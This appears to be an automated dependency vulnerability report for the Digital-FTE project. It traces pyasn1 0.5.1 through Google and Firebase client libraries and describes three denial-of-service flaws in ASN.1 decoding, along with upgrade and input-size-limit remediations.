  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Incorrect Conversion between Numeric Types in the prettyPrint process. An attacker can cause excessive CPU and memory consumption by providing specially crafted ASN.1 data with large exponents in encoded REAL values.

Remediation

Upgrade pyasn1 to version 0.6.4 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the decode process. An attacker can cause excessive CPU consumption and disrupt service availability by submitting specially crafted ASN.1 data containing OBJECT IDENTIFIER or RELATIVE-OID values with a large number of arcs.

Remediation

Upgrade pyasn1 to version 0.6.4 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the BitStringPayloadDecoder class in pyasn1/codec/ber/decoder.py. An attacker can exhaust CPU during a decode() call by supplying a constructed BIT STRING with many fragments, because each fragment calls BitString.fromOctetString(..., prepend=bitString), which re-shifts and copies the entire value accumulated so far. Exploitation requires untrusted ASN.1 input to reach the decoder with no upstream input-size limit, and affects BER and CER decoding with or without an asn1Spec, while DER is affected only in schema-driven decoding (with asn1Spec) and only for definite-length constructed BIT STRINGs, which are not valid DER.

Workaround

This vulnerability can be avoided by enforcing an application-appropriate size limit on untrusted ASN.1 input before passing it to the decoder, and, where the protocol forbids constructed BIT STRING, rejecting that encoding before decoding.

Remediation

Upgrade pyasn1 to version 0.6.5 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
